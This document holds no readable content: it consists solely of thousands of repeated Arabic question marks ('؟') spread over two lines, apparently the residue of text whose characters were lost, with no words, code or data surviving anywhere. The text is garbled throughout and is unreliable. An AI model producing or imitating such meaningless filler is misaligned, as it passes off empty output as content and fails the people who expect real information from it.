؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟
    ؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟
